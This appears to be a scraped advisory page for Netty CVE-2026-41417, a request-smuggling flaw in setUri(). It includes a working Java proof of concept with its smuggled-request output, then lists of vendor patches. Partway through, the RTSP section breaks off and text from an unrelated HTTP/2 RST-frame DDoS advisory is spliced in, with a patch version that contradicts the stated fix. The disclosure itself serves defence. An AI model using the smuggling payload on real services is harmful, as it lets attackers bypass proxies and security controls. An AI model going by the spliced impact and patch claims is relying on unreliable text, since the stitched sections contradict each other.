CVE-2026-41417

Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri(). The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests, leading to HTTP request smuggling or desynchronization on the HTTP side and request injection on the RTSP side. This issue is fixed in versions 4.2.13.Final and 4.1.133.Final.

Summary

Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri().

The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests.

In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side.

Details

The root issue is that URI validation exists only on the constructor path, but not on the public setter path.

• io.netty.handler.codec.http.DefaultHttpRequest
  • The constructor calls HttpUtil.validateRequestLineTokens(method, uri)
  • setUri(String uri) only performs checkNotNull and does not validate
• io.netty.handler.codec.http.DefaultFullHttpRequest
  • setUri(String uri) delegates to the parent implementation
• io.netty.handler.codec.http.HttpRequestEncoder
  • Writes request.uri() directly into the request line
• io.netty.handler.codec.rtsp.RtspEncoder
  • Writes request.uri() directly into the request line

This creates the following bypass:

1. An application creates a DefaultHttpRequest or DefaultFullHttpRequest with a safe URI
2. Later, attacker-influenced input is passed into setUri()
3. HttpRequestEncoder or RtspEncoder encodes that value verbatim
4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests

This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API.

PoC (HTTP)

The following code first creates a normal request object and then injects a malicious request line using setUri().

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.DefaultHttpRequest;
import io.netty.handler.codec.http.HttpMethod;
import io.netty.handler.codec.http.HttpRequestEncoder;
import io.netty.handler.codec.http.HttpServerCodec;
import io.netty.handler.codec.http.HttpVersion;
import io.netty.util.CharsetUtil;

public final class HttpSetUriSmugglePoc {
    public static void main(String[] args) {
        EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder());
        EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec());

        DefaultHttpRequest request = new DefaultHttpRequest(
                HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe");

        request.setUri("/s1 HTTP/1.1\r\n" +
                "\r\n" +
                "POST /s2 HTTP/1.1\r\n" +
                "content-length: 11\r\n\r\n" +
                "Hello World" +
                "GET /s1");

        client.writeOutbound(request);
        ByteBuf outbound = client.readOutbound();

        System.out.println("=== Raw encoded request ===");
        System.out.println(outbound.toString(CharsetUtil.US_ASCII));

        System.out.println("=== Decoded by HttpServerCodec ===");
        server.writeInbound(outbound.retainedDuplicate());

        Object msg;
        while ((msg = server.readInbound()) != null) {
            System.out.println(msg);
        }

        outbound.release();
        client.finishAndReleaseAll();
        server.finishAndReleaseAll();
    }
}

When reproduced, the raw encoded request looks like this:

GET /s1 HTTP/1.1

POST /s2 HTTP/1.1
content-length: 11

Hello WorldGET /s1 HTTP/1.1

HttpServerCodec then parses this as multiple HTTP messages rather than a single request:

• GET /s1
• POST /s2 with body Hello World
• trailing GET /s1

This confirms that the value supplied through setUri() is interpreted on the wire as additional requests.

PoC (RTSP)

The same root cause also affects…

A client might overload the server by issue frequent RST frames. This can cause a massive amount of load on the remote system and so cause a DDOS attack.

Impact

This is a DDOS attack, any http2 server is affected and so you should update as soon as possible.

Patches

This is patched in version 4.1.100.Final.

Workarounds

A user can limit the amount of RST frames that are accepted per connection over a timeframe manually using either an own Http2FrameListener implementation or an ChannelInboundHandler implementation (depending which http2 API is used).

References

• https://www.cve.org/CVERecord?id=CVE-2023-44487
• https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
• https://cloud.google.com/blog/products/identity-security/google-cloud-mitigated-largest-ddos-attack-peaking-above-398-million-rps/

Red Hat Lightwell has released io.netty:netty-codec-http 4.1.100.Final-rhlw-00001 with backported fixes for CVE-2024-29025, CVE-2025-58056, CVE-2025-67735, CVE-2026-33870, CVE-2026-41417, CVE-2026-42580, CVE-2026-42581, CVE-2026-42584, CVE-2026-42585, CVE-2026-42587, CVE-2026-50020, CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-56746, CVE-2026-59898, CVE-2026-59899, CVE-2026-59903, and CVE-2026-59921.

CVE-2024-29025: Netty HttpPostRequestDecoder can OOM

CVE-2025-58056: Netty is vulnerable to request smuggling due to incorrect parsing of chunk extensions

CVE-2025-67735: Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

CVE-2026-33870: Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

CVE-2026-41417: Netty vulnerable to HTTP request smuggling and RTSP request injection via DefaultHttpRequest.setUri()

CVE-2026-42580: Netty: HTTP Request Smuggling due to incorrect chunk size parsing

CVE-2026-42581: Netty: HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

CVE-2026-42584: Netty: HttpClientCodec response desynchronization

CVE-2026-42585: Netty: HTTP Request Smuggling due to malformed Transfer-Encoding

CVE-2026-42587: Netty: HttpContentDecompressor maxAllocation bypass via Content-Encoding: br/zstd/snappy enables decompression bomb DoS

CVE-2026-50020: Netty's HttpObjectDecoder skips arbitrary initial control characters when only initial CRLF characters are permitted

CVE-2026-55831: Netty SPDY SETTINGS frame count materializes unbounded settings map

CVE-2026-55833: Netty SPDY zlib header block continues decoded expansion after maxHeaderSize truncation

CVE-2026-56745: Netty SpdyHttpDecoder: ByteBuf Reference Leak on RST_STREAM Leads to Native Memory Exhaustion

CVE-2026-56746: Netty has a Security Control Bypass via CORS Short-Circuit Failure

CVE-2026-59898: Netty: WebSockets V07/V08 handshaker missing Connection/Upgrade validation

CVE-2026-59899: Netty HttpContentEncoder: Unbounded Per-Connection Queue Growth via HTTP/1.1 Pipelining Leads to Denial of Service

CVE-2026-59903: Netty: Cache Poisoning and Information Disclosure via CORS Vary Header Overwrite

CVE-2026-59921: Netty: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoder

This patched artifact is a drop-in replacement for io.netty:netty-codec-http 4.1.100.Final from Maven Central.

Root has patched CVE-2026-41417 in the io.netty:netty-codec-http package for Root:Maven. Multiple fixed versions available.

Root has patched GHSA-xpw8-rcwv-8f8p in the io.root.io.netty:netty-codec-http2 package for Root:Maven. Multiple fixed versions available.

Netty allows request-line validation to be bypassed when a DefaultHttpRequest or DefaultFullHttpRequest is created first and its URI is later changed via setUri(). The constructors reject CRLF and whitespace characters that would break the start-line, but setUri() does not apply the same validation. HttpRequestEncoder and RtspEncoder then write the URI into the request line verbatim. If attacker-controlled input reaches setUri(), this enables CRLF injection and insertion of additional HTTP or RTSP requests, leading to HTTP request smuggling or desynchronization on the HTTP side and request injection on the RTSP side. This issue is fixed in versions 4.2.13.Final and 4.1.133.Final.

TuxCare rebuilt 8 io.netty packages to address 13 CVEs. Fixed in 4.1.115.Final-tuxcare.7.

TuxCare rebuilt 9 io.netty packages to address 14 CVEs. Fixed in 4.1.112.Final-tuxcare.5.

TuxCare rebuilt 47 io.netty packages to address 59 CVEs. Fixed in 4.1.122.Final-tuxcare.2.

TuxCare rebuilt 47 io.netty packages to address 60 CVEs. Fixed in 4.1.119.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.111.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 48 CVEs. Fixed in 4.1.117.Final-tuxcare.3.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.108.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 61 CVEs. Fixed in 4.1.107.Final-tuxcare.1.

TuxCare rebuilt 47 io.netty packages to address 62 CVEs. Fixed in 4.1.94.Final-tuxcare.1.

TuxCare rebuilt 6 io.netty packages to address 6 CVEs. Fixed in 4.1.130.Final-tuxcare.4.

TuxCare rebuilt 12 io.netty packages to address 28 CVEs. Fixed in 4.1.79.Final-tuxcare.2.

TuxCare rebuilt 12 io.netty packages to address 19 CVEs. Fixed in 4.1.75.Final-tuxcare.5.

TuxCare rebuilt 6 io.netty packages to address 7 CVEs. Fixed in 4.1.63.Final-tuxcare.7.

TuxCare rebuilt 11 io.netty packages to address 20 CVEs. Fixed in 4.1.73.Final-tuxcare.5.

TuxCare rebuilt 9 io.netty packages to address 13 CVEs. Fixed in 4.1.81.Final-tuxcare.1.

TuxCare rebuilt 8 io.netty packages to address 17 CVEs. Fixed in 4.1.128.Final-tuxcare.1.

TuxCare rebuilt 15 io.netty packages to address 27 CVEs. Fixed in 4.1.72.Final-tuxcare.1.

TuxCare rebuilt io.netty:netty-codec-http to address 1 CVE. Fixed in 4.1.80.Final-tuxcare.3.

TuxCare rebuilt 14 io.netty packages to address 17 CVEs. Fixed in 4.2.12.Final-tuxcare.1.

TuxCare rebuilt 40 io.netty packages to address 26 CVEs. Fixed in 4.1.53.Final-tuxcare.1.

TuxCare rebuilt 7 io.netty packages to address 8 CVEs. Fixed in 4.1.52.Final-tuxcare.4.

TuxCare rebuilt 14 io.netty packages to address 16 CVEs. Fixed in 4.2.2.Final-tuxcare.1.

TuxCare rebuilt io.netty:netty-codec-http to address 2 CVEs. Fixed in 4.1.87.Final-tuxcare.3.

TuxCare rebuilt 13 io.netty packages to address 24 CVEs. Fixed in 4.1.74.Final-tuxcare.1.

TuxCare rebuilt 10 io.netty packages to address 17 CVEs. Fixed in 4.1.49.Final-tuxcare.6.

TuxCare rebuilt 6 io.netty packages to address 11 CVEs. Fixed in 4.1.24.Final-tuxcare.2.

TuxCare rebuilt 8 io.netty packages to address 12 CVEs. Fixed in 4.1.101.Final-tuxcare.2.

TuxCare rebuilt 36 io.netty packages to address 12 CVEs. Fixed in 4.1.29.Final-tuxcare.3.

TuxCare rebuilt 7 io.netty packages to address 13 CVEs. Fixed in 4.1.51.Final-tuxcare.2.

TuxCare rebuilt 4 io.netty packages to address 10 CVEs. Fixed in 4.1.23.Final-tuxcare.2.

TuxCare rebuilt 4 io.netty packages to address 8 CVEs. Fixed in 4.1.68.Final-tuxcare.2.

TuxCare rebuilt 6 io.netty packages to address 10 CVEs. Fixed in 4.1.100.Final-tuxcare.2.

TuxCare rebuilt 43 io.netty packages to address 22 CVEs. Fixed in 4.1.60.Final-tuxcare.3.

TuxCare rebuilt 3 io.netty packages to address 6 CVEs. Fixed in 4.1.48.Final-tuxcare.6.

TuxCare rebuilt 4 io.netty packages to address 8 CVEs. Fixed in 4.1.21.Final-tuxcare.3.

TuxCare rebuilt 5 io.netty packages to address 11 CVEs. Fixed in 4.1.42.Final-tuxcare.4.

TuxCare rebuilt 7 io.netty packages to address 16 CVEs. Fixed in 4.1.38.Final-tuxcare.2.

TuxCare rebuilt 8 io.netty packages to address 16 CVEs. Fixed in 4.1.39.Final-tuxcare.2.

TuxCare rebuilt 4 io.netty packages to address 10 CVEs. Fixed in 4.1.43.Final-tuxcare.5.